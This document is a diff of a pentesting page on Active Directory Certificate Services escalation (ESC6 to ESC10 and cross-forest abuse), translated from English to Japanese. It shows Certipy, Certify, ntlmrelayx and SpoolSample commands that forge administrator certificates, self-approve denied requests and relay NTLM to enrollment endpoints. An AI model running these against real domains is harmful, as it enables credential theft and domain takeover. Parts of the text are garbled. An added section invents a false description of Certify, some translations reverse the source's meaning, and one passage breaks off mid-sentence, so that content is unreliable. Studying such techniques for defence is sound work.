**abusing SANs** in ESC1 as it **stores account information in a certificate attribute vs a certificate extension**. +**注意**: ここでの**代替名**は、`certreq.exe`への`-attrib "SAN:"`引数を使用してCSRに含まれます(つまり、「名前値ペア」)。これは、ESC1でSANを悪用する方法とは異なり、アカウント情報を証明書の拡張子ではなく証明書属性に格納する方法です。 -### Abuse - -Organizations can **check if the setting is enabled** using the following `certutil.exe` command: +### 悪用 +組織は、次の`certutil.exe`コマンドを使用して、この設定が有効になっているかどうかを確認できます: ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` - -Underneath, this just uses **remote** **registry**, so the following command may work as well: - +以下は単に**リモート****レジストリ**を使用しているため、次のコマンドも機能する場合があります: ``` -reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags +reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` - -[**Certify**](https://github.com/GhostPack/Certify) and [**Certipy**](https://github.com/ly4k/Certipy) also checks for this and can be used to abuse this misconfiguration: - +[**Certify**](https://github.com/GhostPack/Certify)と[**Certipy**](https://github.com/ly4k/Certipy)もこれをチェックし、この設定ミスを悪用するために使用することができます。 ```bash # Check for vulns, including this one Certify.exe find @@ -222,56 +203,48 @@ Certify.exe find Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` - -These settings can be **set**, assuming **domain administrative** (or equivalent) rights, from any system: - +これらの設定は、ドメイン管理者(または同等の権限を持つ)権限を持つ場合、どのシステムからでも**設定**することができます。 ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` - -If you find this setting in your environment, you can **remove this flag** with: - +もし環境でこの設定を見つけた場合、次のコマンドでこのフラグを**削除**できます: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` - {% hint style="warning" %} -After the May 2022 security updates, new **certificates** will have a **securiy extension** that **embeds** the **requester's `objectSid` property**. For ESC1, this property will be reflected from the SAN specified, but with **ESC6**, this property reflects the **requester's `objectSid`**, and not from the SAN.\ -As such, **to abuse ESC6**, the environment must be **vulnerable to ESC10** (Weak Certificate Mappings), where the **SAN is preferred over the new security extension**. +2022年5月のセキュリティ更新後、新しい**証明書**には、**セキュリティ拡張機能**が埋め込まれ、**要求者の`objectSid`プロパティ**が含まれます。ESC1では、このプロパティは指定されたSANから反映されますが、**ESC6**では、このプロパティはSANからではなく、**要求者の`objectSid`**から反映されます。\ +したがって、**ESC6を悪用するには**、環境が**ESC10に対して脆弱**である必要があります(弱い証明書マッピング)。この場合、新しいセキュリティ拡張機能よりも**SANが優先されます**。 {% endhint %} -## Vulnerable Certificate Authority Access Control - ESC7 +## 脆弱な証明書機関のアクセス制御 - ESC7 -### Attack 1 +### 攻撃1 -#### Explanation +#### 説明 -A certificate authority itself has a **set of permissions** that secure various **CA actions**. These permissions can be access from `certsrv.msc`, right clicking a CA, selecting properties, and switching to the Security tab: +証明書機関自体には、さまざまな**CAアクション**を保護するための**権限セット**があります。これらの権限は、`certsrv.msc`にアクセスし、CAを右クリックしてプロパティを選択し、セキュリティタブに切り替えることでアクセスできます。
-This can also be enumerated via [**PSPKI’s module**](https://www.pkisolutions.com/tools/pspki/) with `Get-CertificationAuthority | Get-CertificationAuthorityAcl`: - +これは、[**PSPKIのモジュール**](https://www.pkisolutions.com/tools/pspki/)を使用して`Get-CertificationAuthority | Get-CertificationAuthorityAcl`で列挙することもできます。 ```bash Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAuthorityAcl | select -expand Access ``` +ここでは、**`ManageCA`** 権限と **`ManageCertificates`** 権限が主な権限です。これらはそれぞれ「CA管理者」と「証明書マネージャー」に対応します。 -The two main rights here are the **`ManageCA`** right and the **`ManageCertificates`** right, which translate to the “CA administrator” and “Certificate Manager”. +#### 悪用 -#### Abuse - -If you have a principal with **`ManageCA`** rights on a **certificate authority**, we can use **PSPKI** to remotely flip the **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bit to **allow SAN** specification in any template ([ECS6](domain-escalation.md#editf\_attributesubjectaltname2-esc6)): +もし、**証明書機関**に対して **`ManageCA`** 権限を持つプリンシパルがいる場合、**PSPKI** を使用してリモートで **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ビットを反転させ、任意のテンプレートでSAN(Subject Alternative Name)の指定を許可することができます([ECS6](domain-escalation.md#editf\_attributesubjectaltname2-esc6)):
-This is also possible in a simpler form with [**PSPKI’s Enable-PolicyModuleFlag**](https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx) cmdlet. +また、[**PSPKI の Enable-PolicyModuleFlag**](https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx) コマンドレットを使用することで、より簡単な形で実現することも可能です。 -The **`ManageCertificates`** rights permits to **approve a pending request**, therefore bypassing the "CA certificate manager approval" protection. - -You can use a **combination** of **Certify** and **PSPKI** module to request a certificate, approve it, and download it: +**`ManageCertificates`** 権限は、保留中のリクエストを承認することを許可するため、「CA証明書マネージャーの承認」保護をバイパスすることができます。 +**Certify** と **PSPKI** モジュールの組み合わせを使用して、証明書のリクエスト、承認、およびダウンロードを行うことができます。 ```powershell # Request a certificate that will require an approval Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeeded @@ -287,38 +260,34 @@ Get-CertificationAuthority -ComputerName dc.theshire.local | Get-PendingRequest # Download the certificate Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336 ``` +### 攻撃2 -### Attack 2 - -#### Explanation +#### 説明 {% hint style="warning" %} -In the **previous attack** **`Manage CA`** permissions was used to **enable** the **EDITF\_ATTRIBUTESUBJECTALTNAME2** flag to perform the **ESC6 attack**, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to **restart the service**. However, it **does not mean that the user can restart the service remotely**. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates. +**前の攻撃**では、**`Manage CA`** 権限を使用して **EDITF\_ATTRIBUTESUBJECTALTNAME2** フラグを有効にして **ESC6 攻撃**を実行しましたが、これは CA サービス (`CertSvc`) が再起動されるまで効果がありません。ユーザーが `Manage CA` アクセス権を持っている場合、ユーザーはサービスを再起動することも許可されます。ただし、ユーザーがリモートでサービスを再起動できるわけではありません。さらに、**ESC6 は、2022 年 5 月のセキュリティ更新プログラムが適用された環境ではデフォルトで機能しない**場合があります。 {% endhint %} -Therefore, another attack is presented here. +そのため、ここでは別の攻撃方法を紹介します。 -Perquisites: +前提条件: -* Only **`ManageCA` permission** -* **`Manage Certificates`** permission (can be granted from **`ManageCA`**) -* Certificate template **`SubCA`** must be **enabled** (can be enabled from **`ManageCA`**) +* **`ManageCA` 権限**のみ +* **`Manage Certificates` 権限**(**`ManageCA`** から付与できます) +* 証明書テンプレート **`SubCA`** が **有効化**されている必要があります(**`ManageCA`** から有効化できます) -The technique relies on the fact that users with the `Manage CA` _and_ `Manage Certificates` access right can **issue failed certificate requests**. The **`SubCA`** certificate template is **vulnerable to ESC1**, but **only administrators** can enroll in the template. Thus, a **user** can **request** to enroll in the **`SubCA`** - which will be **denied** - but **then issued by the manager afterwards**. +この技術は、`Manage CA` および `Manage Certificates` アクセス権を持つユーザーが **失敗した証明書リクエストを発行**できることに依存しています。**`SubCA`** 証明書テンプレートは **ESC1 に脆弱**ですが、**管理者のみ**がテンプレートに登録できます。したがって、**ユーザー**は **`SubCA`** に登録をリクエストすることができますが、**拒否**されますが、その後で **マネージャーによって発行**されます。 -#### Abuse - -You can **grant yourself the `Manage Certificates`** access right by adding your user as a new officer. +#### 悪用方法 +自分自身を新しいオフィサーとして追加することで、**`Manage Certificates`** アクセス権を自分自身に付与することができます。 ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` - -The **`SubCA`** template can be **enabled on the CA** with the `-enable-template` parameter. By default, the `SubCA` template is enabled. - +**`SubCA`**テンプレートは、`-enable-template`パラメータを使用してCAで**有効化**できます。デフォルトでは、`SubCA`テンプレートは有効になっています。 ```bash # List templates certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -enable-template 'SubCA' @@ -330,11 +299,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` +この攻撃の前提条件を満たしている場合、まずは「SubCA」テンプレートに基づいて証明書を要求します。 -If we have fulfilled the prerequisites for this attack, we can start by **requesting a certificate based on the `SubCA` template**. - -**This request will be denie**d, but we will save the private key and note down the request ID. - +この要求は**拒否**されますが、私たちは秘密鍵を保存し、要求IDをメモしておきます。 ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -346,18 +313,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` - -With our **`Manage CA` and `Manage Certificates`**, we can then **issue the failed certificate** request with the `ca` command and the `-issue-request ` parameter. - +私たちの**`Manage CA`と`Manage Certificates`**を使用して、`ca`コマンドと`-issue-request `パラメータを使用して、**失敗した証明書のリクエストを発行**することができます。 ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` - -And finally, we can **retrieve the issued certificate** with the `req` command and the `-retrieve ` parameter. - +そして最後に、`req`コマンドと`-retrieve <リクエストID>`パラメータを使用して、**発行された証明書を取得**することができます。 ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -369,61 +332,67 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` +## NTLM Relayを使用したAD CS HTTPエンドポイントへのエスカレーション - ESC8 -## NTLM Relay to AD CS HTTP Endpoints – ESC8 - -### Explanation +### 説明 {% hint style="info" %} -In summary, if an environment has **AD CS installed**, along with a **vulnerable web enrollment endpoint** and at least one **certificate template published** that allows for **domain computer enrollment and client authentication** (like the default **`Machine`** template), then an **attacker can compromise ANY computer with the spooler service running**! +要約すると、もし環境に**AD CSがインストールされていて**、**脆弱なWeb登録エンドポイント**と、少なくとも**ドメインコンピュータの登録とクライアント認証を許可する**(デフォルトの**`Machine`**テンプレートのような)**公開された証明書テンプレートが1つ以上ある**場合、**攻撃者はスプーラーサービスが実行されている任意のコンピュータを侵害できます**! {% endhint %} -AD CS supports several **HTTP-based enrollment methods** via additional AD CS server roles that administrators can install. These HTTPbased certificate enrollment interfaces are all **vulnerable NTLM relay attacks**. Using NTLM relay, an attacker on a **compromised machine can impersonate any inbound-NTLM-authenticating AD account**. While impersonating the victim account, an attacker could access these web interfaces and **request a client authentication certificate based on the `User` or `Machine` certificate templates**. +AD CSは、管理者がインストールできる追加のAD CSサーバーロールを介して、いくつかの**HTTPベースの登録方法**をサポートしています。これらのHTTPベースの証明書登録インターフェースは、すべて**脆弱なNTLMリレーアタック**です。NTLMリレーを使用すると、**侵害されたマシン上の攻撃者は、受信NTLM認証を行うADアカウントをなりすます**ことができます。被害者アカウントをなりすましている間、攻撃者はこれらのWebインターフェースにアクセスし、**`User`または`Machine`証明書テンプレートに基づいたクライアント認証証明書を要求**することができます。 -* The **web enrollment interface** (an older looking ASP application accessible at `http:///certsrv/`), by default only supports HTTP, which cannot protect against NTLM relay attacks. In addition, it explicitly only allows NTLM authentication via its Authorization HTTP header, so more secure protocols like Kerberos are unusable. -* The **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, and **Network Device Enrollment Service** (NDES) support negotiate authentication by default via their Authorization HTTP header. Negotiate authentication **support** Kerberos and **NTLM**; consequently, an attacker can **negotiate down to NTLM** authentication during relay attacks. These web services do at least enable HTTPS by default, but unfortunately HTTPS by itself does **not protect against NTLM relay attacks**. Only when HTTPS is coupled with channel binding can HTTPS services be protected from NTLM relay attacks. Unfortunately, AD CS does not enable Extended Protection for Authentication on IIS, which is necessary to enable channel binding. +* **Web登録インターフェース**(`http:///certsrv/`でアクセス可能な古い外観のASPアプリケーション)は、デフォルトではHTTPのみをサポートしており、NTLMリレーアタックに対して保護することはできません。さらに、明示的にAuthorization HTTPヘッダーを介したNTLM認証のみを許可しているため、Kerberosなどのより安全なプロトコルは使用できません。 +* **証明書登録サービス**(CES)、**証明書登録ポリシー**(CEP)Webサービス、および**ネットワークデバイス登録サービス**(NDES)は、デフォルトでAuthorization HTTPヘッダーを介したネゴシエート認証をサポートしています。ネゴシエート認証はKerberosとNTLMをサポートしており、そのため、攻撃者はリレーアタック中にNTLM認証にネゴシエートダウンすることができます。これらのWebサービスはデフォルトでHTTPSを有効にしていますが、残念ながらHTTPS単体ではNTLMリレーアタックから保護することはできません。HTTPSサービスをNTLMリレーアタックから保護するには、HTTPSにチャネルバインディングを組み合わせる必要があります。残念ながら、AD CSはIISで拡張保護を有効にしていないため、チャネルバインディングを有効にするためには必要です。 -Common **problems** with NTLM relay attacks are that the **NTLM sessions are usually short** and that the attacker **cannot** interact with services that **enforce NTLM signing**. +NTLMリレーアタックの一般的な**問題**は、**NTLMセッションが通常短い**ことと、攻撃者が**NTLM署名を強制するサービスとの対話ができない**ことです。 -However, abusing a NTLM relay attack to obtain a certificate to the user solves this limitations, as the session will live as long as the certificate is valid and the certificate can be used to use services **enforcing NTLM signing**. To know how to use an stolen cert check: +ただし、ユーザーから証明書を取得するためにNTLMリレーアタックを悪用すると、セッションは証明書が有効な限り継続し、証明書を使用して**NTLM署名を強制するサービス**を利用することができます。盗まれた証明書の使用方法については、次を参照してください: {% content-ref url="account-persistence.md" %} [account-persistence.md](account-persistence.md) {% endcontent-ref %} -Another limitation of NTLM relay attacks is that they **require a victim account to authenticate to an attacker-controlled machine**. An attacker could wait or could try to **force** it: +NTLMリレーアタックのもう一つの制限は、**被害者アカウントが攻撃者が制御するマシンに認証する必要がある**ということです。攻撃者は待つか、強制することができます: {% content-ref url="../printers-spooler-service-abuse.md" %} [printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md) {% endcontent-ref %} -### **Abuse** - -\*\*\*\*[**Certify**](https://github.com/GhostPack/Certify)’s `cas` command can enumerate **enabled HTTP AD CS endpoints**: +### **悪用方法** +\*\*\*\*[**Certify**](https://github.com/GhostPack/Certify)の`cas`コマンドを使用すると、**有効なHTTP AD CSエンドポイント**を列挙できます: ``` Certify.exe cas ``` -
-Enterprise CAs also **store CES endpoints** in their AD object in the `msPKI-Enrollment-Servers` property. **Certutil.exe** and **PSPKI** can parse and list these endpoints: - +エンタープライズCAは、**msPKI-Enrollment-Servers**プロパティにADオブジェクト内のCESエンドポイントも**保存**します。**Certutil.exe**と**PSPKI**は、これらのエンドポイントを解析してリスト化することができます。 ``` certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA ``` -
- ```powershell Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ``` +#### Certifyを悪用する -
+Certifyは、Windows環境で証明書を管理するためのツールです。このツールを悪用することで、特権の昇格が可能となります。 -#### Abuse with Certify +1. **証明書のインストール** + 攻撃者は、Certifyを使用して自己署名証明書を作成し、ターゲットのシステムにインストールします。 + +2. **証明書の構成** + + 攻撃者は、Certifyを使用して作成した証明書を特権のあるユーザーに関連付けます。これにより、攻撃者は特権ユーザーとして認識されるようになります。 + +3. **特権の昇格** + + 攻撃者は、特権ユーザーとして認識されることで、システム内の特権操作を実行することができます。これにより、攻撃者はシステム全体にわたる権限を取得することができます。 + +この攻撃手法は、Active Directory環境で特に効果的です。攻撃者は、Certifyを使用して特権の昇格を行い、システム内の機密情報にアクセスすることができます。 ```bash ## In the victim machine # Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine @@ -438,13 +407,11 @@ proxychains ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2sup # Force authentication from victim to compromised machine with port forwards execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe ``` +#### [Certipy](https://github.com/ly4k/Certipy)の悪用 -#### Abuse with [Certipy](https://github.com/ly4k/Certipy) - -By default, Certipy will request a certificate based on the `Machine` or `User` template depending on whether the relayed account name ends with `$`. It is possible to specify another template with the `-template` parameter. - -We can then use a technique such as [PetitPotam](https://github.com/ly4k/PetitPotam) to coerce authentication. For domain controllers, we must specify `-template DomainController`. +デフォルトでは、Certipyはリレーアカウント名が`$`で終わるかどうかに応じて、`Machine`または`User`テンプレートに基づいて証明書を要求します。`-template`パラメータを使用して別のテンプレートを指定することも可能です。 +その後、[PetitPotam](https://github.com/ly4k/PetitPotam)のような技術を使用して認証を強制することができます。ドメインコントローラの場合、`-template DomainController`を指定する必要があります。 ``` $ certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -457,157 +424,143 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` +## セキュリティ拡張なし - ESC9 -## No Security Extension - ESC9 +### 説明 -### Explanation +ESC9は、新しい**`msPKI-Enrollment-Flag`**値**`CT_FLAG_NO_SECURITY_EXTENSION`**(`0x80000`)を指します。このフラグが証明書テンプレートに設定されている場合、**新しい`szOID_NTDS_CA_SECURITY_EXT`セキュリティ拡張**は埋め込まれません。ESC9は、`StrongCertificateBindingEnforcement`が`1`(デフォルト)に設定されている場合にのみ有効です。なぜなら、KerberosまたはSchannelのより弱い証明書マッピング構成をESC10として悪用することができるからです。要件は同じであるため、ESC9は必要ありません。 -ESC9 refers to the new **`msPKI-Enrollment-Flag`** value **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`). If this flag is set on a certificate template, the **new `szOID_NTDS_CA_SECURITY_EXT` security extension** will **not** be embedded. ESC9 is only useful when `StrongCertificateBindingEnforcement` is set to `1` (default), since a weaker certificate mapping configuration for Kerberos or Schannel can be abused as ESC10 — without ESC9 — as the requirements will be the same. +* `StrongCertificateBindingEnforcement`が`2`(デフォルト:`1`)に設定されていないか、`CertificateMappingMethods`に`UPN`フラグが含まれている +* 証明書に`msPKI-Enrollment-Flag`値の`CT_FLAG_NO_SECURITY_EXTENSION`フラグが含まれている +* 証明書が任意のクライアント認証EKUを指定している +* 任意のアカウントAに対して`GenericWrite`を使用して任意のアカウントBを侵害する -* `StrongCertificateBindingEnforcement` not set to `2` (default: `1`) or `CertificateMappingMethods` contains `UPN` flag -* Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value -* Certificate specifies any client authentication EKU -* `GenericWrite` over any account A to compromise any account B +### 悪用方法 -### Abuse +この場合、`John@corp.local`は`Jane@corp.local`に対して`GenericWrite`を持っており、`Administrator@corp.local`を侵害したいとします。`Jane@corp.local`は、`msPKI-Enrollment-Flag`値の`CT_FLAG_NO_SECURITY_EXTENSION`フラグが設定されている証明書テンプレート`ESC9`に登録することが許可されています。 -In this case, `John@corp.local` has `GenericWrite` over `Jane@corp.local`, and we wish to compromise `Administrator@corp.local`. `Jane@corp.local` is allowed to enroll in the certificate template `ESC9` that specifies the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value. - -First, we obtain the hash of `Jane` with for instance Shadow Credentials (using our `GenericWrite`). +まず、例えばShadow Credentialsを使用して`Jane`のハッシュを取得します(`GenericWrite`を使用)。
-Next, we change the `userPrincipalName` of `Jane` to be `Administrator`. Notice that we’re leaving out the `@corp.local` part. +次に、`Jane`の`userPrincipalName`を`Administrator`に変更します。`@corp.local`の部分は省略していることに注意してください。
-This is not a constraint violation, since the `Administrator` user’s `userPrincipalName` is `Administrator@corp.local` and not `Administrator`. +これは制約違反ではありません。なぜなら、`Administrator`ユーザーの`userPrincipalName`は`Administrator@corp.local`ではなく`Administrator`だからです。 -Now, we request the vulnerable certificate template `ESC9`. We must request the certificate as `Jane`. +次に、脆弱な証明書テンプレート`ESC9`をリクエストします。証明書は`Jane`としてリクエストする必要があります。
-Notice that the `userPrincipalName` in the certificate is `Administrator` and that the issued certificate contains no “object SID”. +証明書の`userPrincipalName`が`Administrator`であり、発行された証明書には「オブジェクトSID」が含まれていないことに注意してください。 -Then, we change back the `userPrincipalName` of `Jane` to be something else, like her original `userPrincipalName` `Jane@corp.local`. +その後、`Jane`の`userPrincipalName`を元の`Jane@corp.local`など別のものに戻します。
-Now, if we try to authenticate with the certificate, we will receive the NT hash of the `Administrator@corp.local` user. You will need to add `-domain ` to your command line since there is no domain specified in the certificate. +これで、証明書で認証しようとすると、`Administrator@corp.local`ユーザーのNTハッシュが受け取れます。証明書にドメインが指定されていないため、コマンドラインに`-domain `を追加する必要があります。
-## Weak Certificate Mappings - ESC10 +## 弱い証明書マッピング - ESC10 -### Explanation +### 説明 -ESC10 refers to two registry key values on the domain controller. +ESC10は、ドメインコントローラ上の2つのレジストリキー値を指します。 -`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` `CertificateMappingMethods`. Default value `0x18` (`0x8 | 0x10`), previously `0x1F`. +`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` `CertificateMappingMethods`。デフォルト値は`0x18`(`0x8 | 0x10`)、以前は`0x1F`でした。 -`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` `StrongCertificateBindingEnforcement`. Default value `1`, previously `0`. +`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` `StrongCertificateBindingEnforcement`。デフォルト値は`1`、以前は`0`でした。 -**Case 1** +**ケース1** -`StrongCertificateBindingEnforcement` set to `0` +`StrongCertificateBindingEnforcement`が`0`に設定されている -**Case 2** +**ケース2** -`CertificateMappingMethods` contains `UPN` bit (`0x4`) +`CertificateMappingMethods`に`UPN`ビット(`0x4`)が含まれている -### Abuse Case 1 +### 悪用ケース1 -* `StrongCertificateBindingEnforcement` set to `0` -* `GenericWrite` over any account A to compromise any account B +* `StrongCertificateBindingEnforcement`が`0`に設定されている +* `GenericWrite`を使用して任意のアカウントAを侵害し、任意のアカウントBを侵害する -In this case, `John@corp.local` has `GenericWrite` over `Jane@corp.local`, and we wish to compromise `Administrator@corp.local`. The abuse steps are almost identical to ESC9, except that any certificate template can be used. +この場合、`John@corp.local`は`Jane@corp.local`に対して`GenericWrite`を持っており、`Administrator@corp.local`を侵害したいとします。悪用手順はESC9とほぼ同じですが、任意の証明書テンプレートを使用できます。 -First, we obtain the hash of `Jane` with for instance Shadow Credentials (using our `GenericWrite`). +まず、例えばShadow Credentialsを使用して`Jane`のハッシュを取得します(`GenericWrite`を使用)。
-Next, we change the `userPrincipalName` of `Jane` to be `Administrator`. Notice that we’re leaving out the `@corp.local` part. +次に、`Jane`の`userPrincipalName`を`Administrator`に変更します。`@corp.local`の部分は省略していることに注意してください。
-This is not a constraint violation, since the `Administrator` user’s `userPrincipalName` is `Administrator@corp.local` and not `Administrator`. +これは制約違反ではありません。なぜなら、`Administrator`ユーザーの`userPrincipalName`は`Administrator@corp.local`ではなく`Administrator`だからです。 -Now, we request any certificate that permits client authentication, for instance the default `User` template. We must request the certificate as `Jane`. +次に、クライアント認証を許可する任意の証明書をリクエストします。例えば、デフォルトの`User`テンプレートを使用します。証明書は`Jane`としてリクエストする必要があります。
-Notice that the `userPrincipalName` in the certificate is `Administrator`. +証明書の`userPrincipalName`が`Administrator`であることに注意してください。 -Then, we change back the `userPrincipalName` of `Jane` to be something else, like her original `userPrincipalName` `Jane@corp.local`. +その後、`Jane`の`userPrincipalName`を元の`Jane@corp.local`など別のものに戻します。
-Now, if we try to authenticate with the certificate, we will receive the NT hash of the `Administrator@corp.local` user. You will need to add `-domain ` to your command line since there is no domain specified in the certificate. +これで、証明書で認証しようとすると、`Administrator@corp.local`ユーザーのNTハッシュが受け取れます。証明書にドメインが指定されていないため、コマンドラインに`-domain `を追加する必要があります。
-### Abuse Case 2 +### 悪用ケース2 -* `CertificateMappingMethods` contains `UPN` bit flag (`0x4`) -* `GenericWrite` over any account A to compromise any account B without a `userPrincipalName` property (machine accounts and built-in domain administrator `Administrator`) +* `CertificateMappingMethods`に`UPN`ビットフラグ(`0x4`)が含まれている +* `GenericWrite`を使用して`userPrincipalName`プロパティを持たない任意のアカウントAを侵害し、マシンアカウントと組み込みドメイン管理者`Administrator`を侵害する -In this case, `John@corp.local` has `GenericWrite` over `Jane@corp.local`, and we wish to compromise the domain controller `DC$@corp.local`. +この場合、`John@corp.local`は`Jane@corp.local`に対して`GenericWrite`を持っており、ドメインコントローラ`DC$@corp.local`を侵害したいとします。 -First, we obtain the hash of `Jane` with for instance Shadow Credentials (using our `GenericWrite`). - -
- -Next, we change the `userPrincipalName` of `Jane` to be `DC$@corp.local`. - -
- -This is not a constraint violation, since the `DC$` computer account does not have `userPrincipalName`. - -Now, we request any certificate that permits client authentication, for instance the default `User` template. We must request the certificate as `Jane`. - -
- -Then, we change back the `userPrincipalName` of `Jane` to be something else, like her original `userPrincipalName` (`Jane@corp.local`). +まず、例えばShadow Credentialsを使用 +次に、`Jane`の`userPrincipalName`を元の`userPrincipalName`(`Jane@corp.local`)に戻します。
-Now, since this registry key applies to Schannel, we must use the certificate for authentication via Schannel. This is where Certipy’s new `-ldap-shell` option comes in. +さて、このレジストリキーはSchannelに適用されるため、Schannelを介した認証に証明書を使用する必要があります。これは、Certipyの新しい`-ldap-shell`オプションが役立ちます。 -If we try to authenticate with the certificate and `-ldap-shell`, we will notice that we’re authenticated as `u:CORP\DC$`. This is a string that is sent by the server. +証明書と`-ldap-shell`を使用して認証を試みると、サーバーから`u:CORP\DC$`という文字列で認証されていることに気付きます。
-One of the available commands for the LDAP shell is `set_rbcd` which will set Resource-Based Constrained Delegation (RBCD) on the target. So we could perform a RBCD attack to compromise the domain controller. +LDAPシェルの利用可能なコマンドの1つは、ターゲット上でResource-Based Constrained Delegation(RBCD)を設定する`set_rbcd`です。したがって、RBCD攻撃を実行してドメインコントローラーを侵害することができます。
-Alternatively, we can also compromise any user account where there is no `userPrincipalName` set or where the `userPrincipalName` doesn’t match the `sAMAccountName` of that account. From my own testing, the default domain administrator `Administrator@corp.local` doesn’t have a `userPrincipalName` set by default, and this account should by default have more privileges in LDAP than domain controllers. +また、`userPrincipalName`が設定されていないユーザーアカウントや、`userPrincipalName`がそのアカウントの`sAMAccountName`と一致しない場合にも、任意のユーザーアカウントを侵害することができます。私自身のテストから、デフォルトのドメイン管理者である`Administrator@corp.local`はデフォルトでは`userPrincipalName`が設定されておらず、このアカウントは通常、ドメインコントローラーよりもLDAPでより多くの特権を持つはずです。 -## Compromising Forests with Certificates +## 証明書を使用したフォレストの侵害 -### CAs Trusts Breaking Forest Trusts +### CAの信頼関係を破るフォレストの信頼関係 -The setup for **cross-forest enrollment** is relatively simple. Administrators publish the **root CA certificate** from the resource forest **to the account forests** and add the **enterprise CA** certificates from the resource forest to the **`NTAuthCertificates`** and AIA containers **in each account forest**. To be clear, this means that the **CA** in the resource forest has **complete control** over all **other forests it manages PKI for**. If attackers **compromise this CA**, they can **forge certificates for all users in the resource and account forests**, breaking the forest security boundary. +**クロスフォレストの登録**のセットアップは比較的簡単です。管理者は、リソースフォレストの**ルートCA証明書**を**アカウントフォレストに公開**し、リソースフォレストの**エンタープライズCA証明書**を各アカウントフォレストの**`NTAuthCertificates`**およびAIAコンテナに追加**します。はっきり言って、これはリソースフォレストの**CAが管理する他のすべてのフォレストに完全な制御権を持つ**ことを意味します。攻撃者がこのCAを**侵害すると、リソースフォレストとアカウントフォレストのすべてのユーザーの証明書を偽造**することができ、フォレストのセキュリティ境界を破ることができます。 -### Foreign Principals With Enrollment Privileges +### 登録権限を持つ外部主体 -Another thing organizations need to be careful of in multi-forest environments is Enterprise CAs **publishing certificates templates** that grant **Authenticated Users or foreign principals** (users/groups external to the forest the Enterprise CA belongs to) **enrollment and edit rights**.\ -When an account **authenticates across a trust**, AD adds the **Authenticated Users SID** to the authenticating user’s token. Therefore, if a domain has an Enterprise CA with a template that **grants Authenticated Users enrollment rights**, a user in different forest could potentially **enroll in the template**. Similarly, if a template explicitly grants a **foreign principal enrollment rights**, then a **cross-forest access-control relationship gets created**, permitting a principal in one forest to **enroll in a template in another forest**. +マルチフォレスト環境では、Enterprise CAが**認証ユーザーまたは外部主体**(Enterprise CAが所属するフォレスト外のユーザー/グループ)に**登録および編集権限**を付与する**証明書テンプレート**を公開することに注意する必要があります。\ +アカウントが**信頼を介して認証すると、ADは認証ユーザーのSID**を認証ユーザーのトークンに追加します。したがって、エンタープライズCAが**認証ユーザーに登録権限を付与するテンプレート**を持つドメインがある場合、異なるフォレストのユーザーは**そのテンプレートに登録**する可能性があります。同様に、テンプレートが**外部主体に明示的に登録権限を付与**する場合、**クロスフォレストのアクセス制御関係が作成**され、1つのフォレストの主体が他のフォレストのテンプレートに**登録**することが許可されます。 -Ultimately both these scenarios **increase the attack surface** from one forest to another. Depending on the certificate template settings, an attacker could abuse this to gain additional privileges in a foreign 